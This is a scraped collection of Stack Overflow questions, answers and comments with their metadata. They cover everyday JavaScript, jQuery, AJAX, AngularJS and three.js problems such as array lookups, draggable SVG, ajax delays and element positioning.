has body: Using indexOf() you are only checking that the ID exists within that array. So if it occurs in the first array, it will continue to loop over them return -1 overwriting the previous value. What you need to do is stop the loop when you find it and return k, the index of the array you are currently iterating through. Here is a fiddle, hope this helps Fiddle var squares = new Array(); for(var i = 0; i &lt;= 8; i++) { squares[i] = new Array(); for(var j = (i * 20) + 1; j &lt;= 20 * i + 20; j++) { if (squares[i] == null) { squares[i] = ''+j; } else { squares[i].push('' + j); } } } console.log(squares); $('a').on('click', function(){ var squareId = $(this).attr('id'); var squareIndex = 0, numberIndex = 0; for(var k = 0; k &lt; squares.length; k++) { squareIndex = squares[k].indexOf(squareId); if (squareIndex &gt; -1) { numberIndex = squareIndex; squareIndex = k; break } } alert('NumberIndex: '+ numberIndex+' ParentSquareIndex: '+ squareIndex); });
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40035289
score: 0
has comment: http://stackoverflow.com/comment/40035625
has comment: http://stackoverflow.com/comment/40035827
type: Answer

http://stackoverflow.com/comment/40120895
type: Comment
has text: @zazvorniki an ultimatum? For what it's worth, that sounds like a horrific place to work. Anyways, there is no guaranteed way to modify browser scrollbars. They are 'owned' by the browser/OS. Some browsers give you some leeway to modify them, some don't let you modify them at all. The only SURE way to create a custom scrollbar is to make your own.
score: 0
comment on: http://stackoverflow.com/q/25671789
type: QuestionComment

http://stackoverflow.com/comment/39898960
comment on: http://stackoverflow.com/a/25551821
type: Comment
score: 0
type: AnswerComment
has text: Great, the second method is better. I'll go with that, thanks.

http://stackoverflow.com/comment/40092186
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25656587
has text: 1.What is your name Surname Full first Name Middle Names
type: AnswerComment

http://stackoverflow.com/q/25664858
score: 0
linked to: http://stackoverflow.com/q/1108480
tagged with: css
has comment: http://stackoverflow.com/comment/40107202
tagged with: http://stackoverflow.com/tag/svg
answer count: 0
type: UnansweredQuestion
has title: Draggable SVG - the element changes position (jumps) on drag
tagged with: jquery-ui
type: Question
has body: I'm playing with draggable svg rectangles. Here's the fiddle: http://jsfiddle.net/MfegM/1763/ I made the svg elements draggable following the instructions in this thread: SVG draggable using JQuery and Jquery-svg My problem is that in the fiddle it works perfectly, but on my website, when I start moving a square, it jumps to the right around 100px. This is the code from my website (using Bootstrap): &lt;div class="container"&gt; &lt;svg width="800" height="500"&gt; &lt;rect class="draggable" x="1" y="1" width="200" height="200" style="fill:DeepPink;fill-opacity:0.1;stroke-opacity:0.9" /&gt; &lt;rect x="201" y="1" width="200" height="200" style="fill:blue;fill-opacity:0.1;stroke-opacity:0.9" /&gt; &lt;rect x="1" y="201" width="200" height="200" style="fill:red;fill-opacity:0.1;stroke-opacity:0.9" /&gt; &lt;rect x="201" y="201" width="200" height="200" style="fill:purple;fill-opacity:0.1;stroke-opacity:0.9" /&gt; &lt;/svg&gt; &lt;/div&gt; JS: $('.draggable') .draggable() .bind('mousedown', function(event, ui) { // bring target to front $(event.target.parentElement).append(event.target); }) .bind('drag', function(event, ui) { // update coordinates manually, since top/left style props don't work on SVG event.target.setAttribute('x', ui.position.left); event.target.setAttribute('y', ui.position.top); }); Where is that behaviour coming from? No errors in the console whatsoever.
has comment: http://stackoverflow.com/comment/40134387
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25560679
has comment: http://stackoverflow.com/comment/39915827
type: Question
has title: DataTables Ajax not executing
has body: I am using DataTables version 1.10.2. I am dealing with thousands of data sets so I am using server side processing. I cannot even get the file to run via ajax. I am trying to run the file with test.php which is shown below. &lt;?php file_put_contents("itworked.txt","itworked"); ?&gt; I have attempted to create the DataTable with the following tactics, however the file is never created. If I visit the link through a browser then the file is created. $(document).ready(function() { $('#playertimes').dataTable({ "bProcessing": true, "bServerSide": true, "sAjaxSource": "http://domain.com/HCP/plugins/plugin_Timer/assets/php/test.php" }); }); $(document).ready(function() { $('#playertimes').dataTable({ "serverSide": true, "ajax": "http://domain.com/HCP/plugins/plugin_Timer/assets/php/test.php" }); }); Why is the file not being called?
has comment: http://stackoverflow.com/comment/39915837
tagged with: javascript
has answer: http://stackoverflow.com/a/25561659
has comment: http://stackoverflow.com/comment/39915934
has comment: http://stackoverflow.com/comment/39915802
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/39916113
tagged with: ajax
tagged with: php
tagged with: datatable
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39915772
accepted answer: http://stackoverflow.com/a/25561659
has comment: http://stackoverflow.com/comment/39916686
has comment: http://stackoverflow.com/comment/39915778

http://stackoverflow.com/q/25582007
has comment: http://stackoverflow.com/comment/39956098
possible better answer: http://stackoverflow.com/a/25582185
has comment: http://stackoverflow.com/comment/39955995
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25582059
accepted answer: http://stackoverflow.com/a/25582059
has comment: http://stackoverflow.com/comment/39955908
answer count: 2
tagged with: delay
tagged with: javascript
tagged with: jquery
tagged with: ajax
score: 0
has answer: http://stackoverflow.com/a/25582185
has comment: http://stackoverflow.com/comment/39956123
has title: Set Delay within ajax call not working
has body: I need a 5 seconds delay before setting success HTML to the div. I have tried below but it doesn't work. Any one has ideas? $("#glyphicon-chevron-left-daily").click(function () { var endDate = $("#DailyViewButtonOk1").data("date"); var previousButtonHtml = $(this).html(); $(this).html("&lt;span class=\"glyphicon glyphicon-refresh\"&gt;&lt;/span&gt;"); $(function () { callAjax(); }); function callAjax() { $.ajax({ url: loadUrl, type: 'POST', load: "&lt;img src='img/load.gif' alt='loading...' /&gt;", data: { startDate: startDate, endDate: endDate }, success: function (response) { $("#_DailyViewResults").html(response); $("#_DailyViewResults").show(); setTimeout(callAjax, 5000); }, error: function () { } }); } $(this).html(previousButtonHtml); }); So the code below now works. The problem now id that the original span within button is not restored. $("#glyphicon-chevron-left-daily").click(function () { var endDate = $("#DailyViewButtonOk1").data("date"); var previousButtonHtml = $(this).html(); $(this).html("&lt;span class=\"glyphicon glyphicon-refresh\"&gt;&lt;/span&gt;"); $.ajax({ url: loadUrl, type: 'POST', data: { startDate: startDate, endDate: endDate }, success: function (response) { setTimeout(function (response) { $("#_DailyViewResults").html(response); $("#_DailyViewResults").show(); $(this).html(previousButtonHtml); }, 1000, response); }, error: function () { } }); });

http://stackoverflow.com/a/42150975
score: 11
downvote count: 0
has comment: http://stackoverflow.com/comment/72783295
answers question: http://stackoverflow.com/q/25572070
has comment: http://stackoverflow.com/comment/85444397
has body: This question is answered but maybe needs to be updated. According to a notice from Google, there will be no 300-350ms delay any more if we include the line below in the &lt;head&gt; element. &lt;meta name="viewport" content="width=device-width"&gt; That's it! And there will be no difference between click and touch event anymore!
upvote count: 11
has comment: http://stackoverflow.com/comment/77770543
has comment: http://stackoverflow.com/comment/71508573
type: Answer

http://stackoverflow.com/a/25597160
accepted answer of: http://stackoverflow.com/q/25596712
answers question: http://stackoverflow.com/q/25596712
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/39985917
upvote count: 1
has body: A few options that are a bit cleaner than what you're doing: 1) Have one layout for each combination of css/js that you'll need, and specify the appropriate layout in the action. This only really makes sense if you have groups of actions that will use the same css/js, otherwise you'll have one layout per action which is a mess. 2) This is almost the same as what you're doing, but a bit more reusable-- set a variable in your action such as @include_toggles = true and then include "jquery-toggles" only if that variable is true. You can then reuse that variable in other actions that need jquery-toggles, without having to check against the specific action and controller names. 3) If each action has its own css/js not shared with other actions, you could organize your files inside a directory that has the name of the action. Then you can include all files in that directory as described here https://stackoverflow.com/a/8902949/1786750, interpolating the name of the current action in the path, so that you get only the files needed for the current action. So for the index: &lt;%= javascript_include_tag Dir[Rails.root.join("public/javascripts/views/#{action_name}/*.js")].map { |s| s.sub(Rails.root.join("public/javascripts/").to_s, "") } %&gt; (That code is swiped from the answer above, I just added #{action_name} to illustrate the concept.) Hope that helps. There may be even better options but the above are at least simple and relatively clean.

http://stackoverflow.com/q/25710487
accepted answer: http://stackoverflow.com/a/25710530
type: Question
tagged with: autocomplete
answer count: 1
tagged with: javascript
tagged with: jquery
score: 0
has title: Render custom auto complete results
has answer: http://stackoverflow.com/a/25710530
type: AnsweredQuestion
has body: I have the following code: jQuery("#hotelName").autocomplete({ serviceUrl:'xxxxxxxxxxxxxxxxxxxxxxxx', minChars:1, delimiter: /(,|;)\s*/, // regex or character maxHeight:200, zIndex: 9999, appendTo: "#ui-front" }).data( "ui-autocomplete" )._renderItem = function( ul, item ) { console.log(item); return jQuery( "&lt;li&gt;" ) .data( "ui-autocomplete-item", item ) .append( "&lt;a&gt;" + item.label + "&lt;br&gt;" + item.desc + "&lt;/a&gt;" ) .appendTo( ul ); }; I'm getting this error from console: Cannot set property '_renderItem' of undefined I'm using jQuery UI Auto complete 1.2.9 Auto complete is working without any problem like this : jQuery("#hotelName").autocomplete({ serviceUrl:'xxxxxxxxxxxxxxxxxxxxxxxx', minChars:1, delimiter: /(,|;)\s*/, // regex or character maxHeight:200, zIndex: 9999, appendTo: "#ui-front" }); But I want to apply custom rendering. Any idea what is the problem? EDIT: I tried to upgrade jQuery UI Auto Complete to the latest version but that didn't help me.
tagged with: jquery-ui
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/q/25638699
score: 0
has title: javascript socket.io cannot get data
tagged with: socket.io
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40066031
type: UnansweredQuestion
has body: I have one element inside of the takimlar array. When i try to print it that way i get 1 printed out. But when i try to reach the takimlar value outside of the socket.on brackets. i get 0 from the document write. I want to access the data that i take from the server in the client side but it seems i cant assign a variable on it. It is really interesting. Any help would be appreciated. prints 1 var takimlar[]; var socket =io.connect(); socket.on('client_data13', function(data){ takimlar = data; document.write(takimlar.length); }); prints 0 var takimlar[]; var socket =io.connect(); socket.on('client_data13', function(data){ takimlar = data; }); document.write(takimlar.length);
has comment: http://stackoverflow.com/comment/40059315
has comment: http://stackoverflow.com/comment/40059606
answer count: 0

http://stackoverflow.com/a/25698573
score: 1
has comment: http://stackoverflow.com/comment/40169258
downvote count: 0
has comment: http://stackoverflow.com/comment/40213465
has body: Another way to access a CSS rule without actually accessing the stylesheet is to create an element, apply a rule to it and then access its properties with jQuery. Something like this: var NewElement = $('.SomeClass'); var TheHeight = NewElement.prop('height'); Not sure if this would help but it's an idea. What are you trying to do anyway? Edit: var sheet = document.styleSheets[0]; var rules = sheet.cssRules || sheet.rules; rules[0].style.color = 'red'; This is from the answer here I added a jsFiddle Note that you must select the correct stylesheet index.
has comment: http://stackoverflow.com/comment/40241524
type: Answer
has comment: http://stackoverflow.com/comment/40168390
has comment: http://stackoverflow.com/comment/40183796
answers question: http://stackoverflow.com/q/25698255
upvote count: 1

http://stackoverflow.com/comment/39927533
has text: Try what? This is a game of spot-the-difference, not an answer.
comment on: http://stackoverflow.com/a/25567189
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/comment/40013987
comment on: http://stackoverflow.com/q/25613737
score: 1
has text: Why not just put this in a form element and post back? What does the `SubmitClick` function do?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40123857
type: Comment
has text: It does work in your version, but I see that you've structured yours a bit differently. Looking at your link shows that it works if an initial link to one of the templates is included in the main file, outside the view. Then the user can flip back and forth after clicking that. The root of the problem appears to be that it's not loading either template as a default starting point and just leaving the view blank, so I'll need to look into fixing that. Thanks for the help!
type: AnswerComment
comment on: http://stackoverflow.com/a/25658182
score: 0

http://stackoverflow.com/a/25551056
has body: You are importing jQuery script file before your test.js and because of that, the browser knows how to handle $ calls. If you remove jQuery script, you will get an error "$ is undefined"
accepted answer of: http://stackoverflow.com/q/25550973
answers question: http://stackoverflow.com/q/25550973
type: Answer
upvote count: 3
score: 3
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25561425
has comment: http://stackoverflow.com/comment/39917506
has comment: http://stackoverflow.com/comment/39917192
has comment: http://stackoverflow.com/comment/39917254
has comment: http://stackoverflow.com/comment/39917113
has body: I did a web app with some JavaScript and jQuery which works well on PC but on mobile those functions do not work. Functions like creating a table row dynamically at clicking a button using : var table = document.getElementById("table"); var row = table.insertRow(-1); var cell1 = row.insertCell(-1); also my ajax call is not working on mobile, below is some major part of the function (creating table row and ajax call) $.ajax({ type: 'POST', url: 'getProduct', data: { product_id:product_id }, dataType : 'json', success:function(response){ var name = response.products['name']; var id = response.products['id']; var bid = document.getElementById('buyer_id').value; var sid = <?php echo $this->session->userdata('id'); ?>; var category = document.getElementById('category').value; var date = document.getElementById('date').value; if(category=='agent'){ var price = response.products['agent_price']; }else{ var price = response.products['vendor_price']; } var table = document.getElementById("table"); var row = table.insertRow(-1); var cell1 = row.insertCell(-1); var cell2 = row.insertCell(-1); var cell3 = row.insertCell(-1); var cell4 = row.insertCell(-1); var cell5 = row.insertCell(-1); cell1.innerHTML = count; cell2.innerHTML = name; cell3.innerHTML = ' '; cell4.innerHTML = price; cell4.id=count; cell5.innerHTML = ' Delete'; } });
has comment: http://stackoverflow.com/comment/39917224
has comment: http://stackoverflow.com/comment/39917069
has title: JavaScript and jquery not working on mobile
score: 0
has comment: http://stackoverflow.com/comment/39917273
tagged with: javascript
tagged with: jquery
tagged with: ajax
has comment: http://stackoverflow.com/comment/39918183
has comment: http://stackoverflow.com/comment/39917227
has comment: http://stackoverflow.com/comment/39918970
has comment: http://stackoverflow.com/comment/39917441
answer count: 0
has comment: http://stackoverflow.com/comment/39917378
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39917125
has comment: http://stackoverflow.com/comment/39917162
type: Question

http://stackoverflow.com/q/25649197
type: UnansweredQuestion
answer count: 0
score: 1
upvote count: 1
type: Question
has title: Drag and drop multiple text fields in to multiple positions
downvote count: 0
tagged with: javascript
tagged with: jquery
has body: I'm using interact.js - See below code. How could I drag and position multiple text fields in to multiple positions? At the moment all text fields uses the same start position var x = 0, y = 0;. As a result the text fields snaps to where the final text field was dragged to. So I'm unable to drag each text field in to a different position. Also is it possible to limit the dragging within its parent DIV. In my case dragging should be allowed only within OuterWrapper Add a Thought
favorite count: 0
tagged with: drag-and-drop

http://stackoverflow.com/comment/40167384
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25684499
has text: wow thank you, but hyperlink still not work.
score: 0

http://stackoverflow.com/q/25635376
favorite count: 0
type: UnansweredQuestion
upvote count: 0
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25647497
has title: Twitter Widget Creation not working
tagged with: javascript
score: -1
tagged with: twitter
has body: I'm following the instructions at https://dev.twitter.com/docs/embedded-timelines#customization, but after I make the widget I get data-widget-id="". There's no widget ID at all, and it can't load anything. I've tried making different kinds of widgets as well but all of them have a blank ID.
answer count: 1

http://stackoverflow.com/comment/40071952
has text: I don't know how that will help but i did it anyway and still not working
type: AnswerComment
comment on: http://stackoverflow.com/a/25645786
type: Comment
score: 0

http://stackoverflow.com/a/50824824
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25656667
has body: If you don't want to change your code you could do this. var console = {}; console.log = print; Then when your code calls console.log, it's actually calling print(). But this is not a true replacement because it doesn't handle printing of objects like NodeJS's console.log() does. For example, console.log('abc', { 'field1' : 123 }); // In NodeJS output is: abc { field1: 123 } // In Mongo print output is: abc [object Object] A more full featured implementation would handle this. This article Taking Over console.log might help if you wanted to create a more full featured implementation.
downvote count: 0
type: Answer

http://stackoverflow.com/a/37624991
has body: If I understand correctly, you are using the setTimeOut to have time to put the mouse over the infowindow, so it doesn't close on mouseout of the marker. Intead of using mouseout of the marker try mousemove of the map. In this way if you put the mouse over the infowindow the event mousemove doesn't fire and can put the mouse over the infowindow whithout closing it. But when you move over the map, the infowindow will close. google.maps.event.addListener(map, 'mousemove', function (event) { infowindow1.close(); });
upvote count: 1
has comment: http://stackoverflow.com/comment/111304716
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25651406

http://stackoverflow.com/comment/40186567
type: QuestionComment
comment on: http://stackoverflow.com/q/25708701
score: 1
type: Comment
has text: nothing in code shown would remove element from array

http://stackoverflow.com/comment/40067237
score: 0
has text: It would have been easier for us to help you if you actually supplied us with a live example within jsfiddle to see what's actually going wrong in your implementation.. We're glad to help but next time please supply us with some of your own preperation so we'd not be stuck with the work.
comment on: http://stackoverflow.com/q/25642450
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25626326
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25626427
answer count: 5
has comment: http://stackoverflow.com/comment/40036806
has answer: http://stackoverflow.com/a/25626537
has comment: http://stackoverflow.com/comment/40036864
has body: { "ma.addEvents":{ "ma.id":"my-id", "ma.eventIds":[ "eventID1", "eventID2" ] } } I don't understand how I can create object like "ma.addEvent" the "dot" is a problem here.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40036866
possible better answer: http://stackoverflow.com/a/25626415
has answer: http://stackoverflow.com/a/25626472
accepted answer: http://stackoverflow.com/a/25626427
has answer: http://stackoverflow.com/a/25626415
downvote count: 1
type: Question
tagged with: http://stackoverflow.com/tag/json
score: -1
has answer: http://stackoverflow.com/a/25626428
upvote count: 0
tagged with: arrays
has title: How I can build this json object with javascript code?

http://stackoverflow.com/q/25682846
answer count: 1
tagged with: progress
type: UnansweredQuestion
has title: how to display looping process status via javascript worker
tagged with: loops
tagged with: output
type: Question
has answer: http://stackoverflow.com/a/25683031
has body: I'm dealing with Javascript workers and I need to display the percentage value during a long looping process. The worker obj sends a message to display the current progress value only at exact tens: 10, 20, 30 % ... so to not mess up the messages queue. As I try to update such percentage into a table cell &lt;td&gt;, I notice that only 3 max 4 values come out. But this does not happen (i.e., all percentage values are displayed) if document.title is used as output or if I dump'em in the console.log Any ideas ? Am I missing something in my code ?
tagged with: javascript
tagged with: web-worker
score: 0

http://stackoverflow.com/a/25666500
has body: var d = new Date(); console.log( (d.getHours() &lt; 10 ? '0' : '') + d.getHours() + ':' + (d.getMinutes() &lt; 10 ? '0' : '') + d.getMinutes() ); -- you can test that in a browser &amp; node.js console. Or, in your syntax, I guess: javascript{ d = new Date(), (d.getHours() &lt; 10 ? '0' : '') + d.getHours() + ':' + (d.getMinutes() &lt; 10 ? '0' : '') + d.getMinutes() }
score: 0
accepted answer of: http://stackoverflow.com/q/25666396
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25666396
type: Answer

http://stackoverflow.com/q/25556486
tagged with: angularjs
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39907845
score: 2
tagged with: angular-ui-router
type: Question
has answer: http://stackoverflow.com/a/25557373
has comment: http://stackoverflow.com/comment/39907876
downvote count: 0
tagged with: javascript
has title: AngularJS: how to prevent programmatic clicking of button that hits AJAX endpoint from client?
answer count: 1
has comment: http://stackoverflow.com/comment/39907937
favorite count: 0
has body: I discovered a security vulnerability with my app and I would like to fix it. On my homepage there is a button and when clicked it triggers a record to be created in my database. I would like to prevent someone from programmatically clicking this button a zillion times in effect creating a zillion records in my db. I tried creating a function which sets disabled="true" after my button is clicked but it seems like the programatic looping and clicking beats it to the punch. Any suggestions of how to patch this hole?

http://stackoverflow.com/a/25591481
downvote count: 0
has body: I guess, you have defined lang in the HTML page. Make sure, that the definition is wrapped with an element with ng-controller="myCtrl" attribute. Now use if ($scope.lang==2) instead of if (lang==2)
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25591346

http://stackoverflow.com/a/25678763
answers question: http://stackoverflow.com/q/25678735
has body: First one is event delegation Event delegation allows us to attach a single event listener, to a parent element, that will fire for all descendants matching a selector, whether those descendants exist now or are added in the future. $(document).on("click", "sometag", function () { }); normal click :Attach an event handler function for one or more events to the selected elements. $("sometag").on("click", function () { }); Sample Code HTML <buton>on normal click JS $("button").on("click", function () { // it does not work dynamically created element,only static (when dom is loaded ) $("body").append(" delegatin "); alert("normal"); }); $("body").on("click", "div", function () { // it will work dynamically created dom alert("delegation"); }); ** DEMO **
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25678735

http://stackoverflow.com/q/25684647
tagged with: sockets
answer count: 0
tagged with: zebra-printers
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40213765
tagged with: http
has comment: http://stackoverflow.com/comment/40145216
has comment: http://stackoverflow.com/comment/40150378
has body: So first I want to describe my problem. I have a project (a website in JSP), where I must to print labels from browser. The problem is, this must happening in client side, because this network (where the printer will be) have a complicate security rules so I can't send this command from servlet (because physically it's not in the same network and portforward disabled), and can't use applets in client side. So my main idea that somehow I create a socket in JavaScript and send ZPL(Zebra Prog. Lang.) text to the printer (with http not websocket, because I think the printer cant handle this). Here is an example for java: https://km.zebra.com/kb/index?page=content&amp;id=SO7149&amp;actp=LIST Thanks for everything Best regards!
type: Question
score: 0
has title: Create http socket in javascript on client side in JSP and send text to network printer
tagged with: jsp
tagged with: javascript
has comment: http://stackoverflow.com/comment/40143690
has comment: http://stackoverflow.com/comment/40146374

http://stackoverflow.com/a/25565797
answers question: http://stackoverflow.com/q/25565552
has body: You can use parent.document.title = 'something'; for change parent title and parent.document.querySelector('meta[name="description"]').setAttribute('content','something'); for change parent description.
downvote count: 0
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/39923345
comment on: http://stackoverflow.com/q/25564721
score: 0
type: Comment
type: QuestionComment
has text: Most likely you are trying to do something you should not do at all with Angular.

http://stackoverflow.com/comment/40146415
has text: @user3047382: w3schools is the best place to begin with.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25686886
type: AnswerComment

http://stackoverflow.com/comment/114584977
type: QuestionComment
comment on: http://stackoverflow.com/q/25600101
has text: $('#drag1').draggable( { containment: "#ContainmentBox",...
score: 0
type: Comment

http://stackoverflow.com/q/25639268
favorite count: 0
tagged with: geometry
type: Question
linked to: http://stackoverflow.com/q/25626171
tagged with: three.js
has body: I want to extrude a shape and create an ExtrudeGeometry, but the shape has to be extruded into a certain direction. I have a direction in a Vector3 The shape is drawn in in the x, y plane and normally the z is the extrude direction (extrusion depth). So a direction vector (0,0,1) would result in the default extrusion. But for example a (0,0,-1) would extrude the shape in the other direction. I first tried to use an extrude path to achieve this, but when using a path the shape is allowed to "spin" freely and the initial orientation is arbitrary. This is not what I need, the shape must stay oriented as is. You can read details on this here in my previous question. I already came up with the idea of applying a matrix to the second half of the vertices of the resulting ExtrudedGeometry, but I cannot seem to get the geometry I want. Maybe it is my clumsy use of matrices, but I think that the face normals are pointing inside out after this trick. Note The direction vector will never be orthogonal to the z axis since this would give invalid shapes So the question: How do I get a reliable solution to extrude my shape into the given direction. Here an example. The shape is a square in the x,y plane (width and length 2000) the extrusion depth is also 2000 and three different vectors with a drawing of the expected result seen in 2D (front view) and 3D.
upvote count: 2
has comment: http://stackoverflow.com/comment/40064496
has answer: http://stackoverflow.com/a/25647543
answer count: 1
tagged with: javascript
type: AnsweredQuestion
tagged with: vector
score: 2
has title: Three.js - ExtrudeGeometry using depth and a direction vector
accepted answer: http://stackoverflow.com/a/25647543
downvote count: 0
linked to: http://stackoverflow.com/q/12537141

http://stackoverflow.com/comment/40087881
type: Comment
has text: You could also use ` {{row}} `
score: 3
comment on: http://stackoverflow.com/a/25654313
type: AnswerComment

http://stackoverflow.com/comment/40164095
type: QuestionComment
type: Comment
has text: @user1552172 That doesn't answer my question; what is the content type?
score: 0
comment on: http://stackoverflow.com/q/25695958

http://stackoverflow.com/comment/40132949
has text: Here You can find Example http://jqueryui.com/autocomplete/, and make changes according to your requirement by going documentation.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25679371

http://stackoverflow.com/a/25591994
accepted answer of: http://stackoverflow.com/q/25591229
has comment: http://stackoverflow.com/comment/39982024
type: Answer
has comment: http://stackoverflow.com/comment/39974505
has comment: http://stackoverflow.com/comment/39974313
has body: This function isn't recursing, it's just using setTimeout to call itself again at some point in the future, which isn't the same as true recursion. However, you're using a global variable passed into a function, this will be causing you scoping issues as it's passed as a copy. By passing the id in to the timed call, you're creating a closure, which at 20,000 times, may be causing you some issues.
upvote count: 1
has comment: http://stackoverflow.com/comment/39974470
has comment: http://stackoverflow.com/comment/39974648
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39974280
score: 1
answers question: http://stackoverflow.com/q/25591229

http://stackoverflow.com/a/25669769
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25669332
has body: You are trying to display text2[j] as a static text by including it inside "'"(single quotes). So, document.write(''+ text2[j] +'') will resolve the problem I have restructured your for loop a bit to handle dynamic length of the array :- <TITLE>Sample Page that Writes Out an HTML Table If you want to skip two loops and use one instead, below is the code :

http://stackoverflow.com/q/25707895
has title: How do I get the current tag in underscore templates?
tagged with: underscore.js-templating
tagged with: underscore.js
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40187494
score: 0
has comment: http://stackoverflow.com/comment/40187044
tagged with: templates
has comment: http://stackoverflow.com/comment/40187860
has body: I have a bit of underscore html template that looks like this: <% _.each(relations, function(relation) { %> <%= relation.fromProjectCode %> <%= relation.toProjectCode %> <%= relation.userId %> <div class="label label-<%=tplFns.getLabelClass(relation.status)%>"><%= relation.status %> <%= tplFns.formatDate(relation.requestDate) %> <%= tplFns.formatDate(relation.acceptDate) %> <% }); %> When I am in the _.each loop, I want to access the tag and bind some data to it. The problem is that I can write something like this: <tr <% this %> > But here, this refers to the current loop object (ie. relation) and not the tag. If there was a way that I could access the current tag, I wanted to bind some data to it like $(currentTag).data("relation", relation). Does anybody know if that is possible? This is sort of a trivial task and I don't want to add any other libraries to the project for this. So it will be really appreciated if you could tell me of workarounds/solutions with my current set of libraries: requirejs, jquery and underscore
tagged with: data-binding
answer count: 0
has comment: http://stackoverflow.com/comment/40187436
type: UnansweredQuestion

http://stackoverflow.com/a/25663657
score: 1
has body: Done, for ones who are interested on how it's been achieved: &lt;http://jsfiddle.net/0ky5avg3&gt;
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25612131
answers question: http://stackoverflow.com/q/25612131
type: Answer
downvote count: 0

http://stackoverflow.com/a/25699237
upvote count: 1
has comment: http://stackoverflow.com/comment/40263831
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25698977
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40260395
has body: Capture (^ start | OR [^/?=] in a negated character class the ones, that must not appear before) /(^|[^\/?=])(\bX00[A-Z0-9]{7}\b)/gi And replace with: '$1$2' Also see fiddle; SO Regex FAQ;
answers question: http://stackoverflow.com/q/25698977

http://stackoverflow.com/comment/39907902
score: 0
type: Comment
has text: (This is indeed a "typo only" question, but it doesn't seem worthy of closing.)
type: AnswerComment
comment on: http://stackoverflow.com/a/25556447

http://stackoverflow.com/a/25577237
accepted answer of: http://stackoverflow.com/q/25571227
has body: The problem is #menu-main-menu-french so in your js file change: $mainNav.find('#menu-main-menu') to $mainNav.find('&gt;ul') in all instances. Or you can manually add a default class/id to your menu.
type: Answer
answers question: http://stackoverflow.com/q/25571227
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39947412

http://stackoverflow.com/q/25578025
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/39949828
has comment: http://stackoverflow.com/comment/39948790
has title: converting String to Json - javascript
type: Question
has body: Hi I'm trying to convert a string like this: {'2': [1], '0': [1]} to json using JSON.parse in javascript but it keeps saying Uncaught SyntaxError: Unexpected token ' can anyone help me with this, thanks
has answer: http://stackoverflow.com/a/25578059
answer count: 1
tagged with: javascript
tagged with: string
score: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/39948766
accepted answer: http://stackoverflow.com/a/25578059
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/39948747

http://stackoverflow.com/a/32623832
answers question: http://stackoverflow.com/q/25630035
upvote count: 40
has comment: http://stackoverflow.com/comment/88472326
type: Answer
has comment: http://stackoverflow.com/comment/87765580
has body: getBoundingClientRect needs a bit more care to avoid bugs in scrollY/pageYOffset: function absolutePosition(el) { var found, left = 0, top = 0, width = 0, height = 0, offsetBase = absolutePosition.offsetBase; if (!offsetBase &amp;&amp; document.body) { offsetBase = absolutePosition.offsetBase = document.createElement('div'); offsetBase.style.cssText = 'position:absolute;left:0;top:0'; document.body.appendChild(offsetBase); } if (el &amp;&amp; el.ownerDocument === document &amp;&amp; 'getBoundingClientRect' in el &amp;&amp; offsetBase) { var boundingRect = el.getBoundingClientRect(); var baseRect = offsetBase.getBoundingClientRect(); found = true; left = boundingRect.left - baseRect.left; top = boundingRect.top - baseRect.top; width = boundingRect.right - boundingRect.left; height = boundingRect.bottom - boundingRect.top; } return { found: found, left: left, top: top, width: width, height: height, right: left + width, bottom: top + height }; } The bugs to avoid are: scrolling in Android Chrome since Chrome Mobile 43 has wrong values for scrollY/pageYOffset (especially when the keyboard is showing and you scroll). Pinch-zoom in Microsoft IE or Edge causes wrong values for scrollY/pageYOffset. Some (obsolete) browsers don't have a height/width e.g. IE8 Edit: The above code can be simplified a lot by just using document.body.getBoundingClientRect() instead of adding a div - I haven't tried it though so I am leaving my answer as it stands. Also the body needs margin:0 (reset.css usually does this). This answer simplifies the code down a lot, while still avoiding the bugs in jQuery.offset()! Edit 2: Chrome 61 introduced window.visualViewport to give correct values for the actual viewport which is probably another way to fix issues; but beware that Android Chrome 66 was still buggy if Settings -&gt; Accessability -&gt; Force enable zoom was ticked (bugs with orientation change, focused inputs, absolutely positioned popup wider than viewport).
has comment: http://stackoverflow.com/comment/138483897
downvote count: 0
score: 40
has comment: http://stackoverflow.com/comment/74214615

http://stackoverflow.com/q/25572113
tagged with: recursion
accepted answer: http://stackoverflow.com/a/25572184
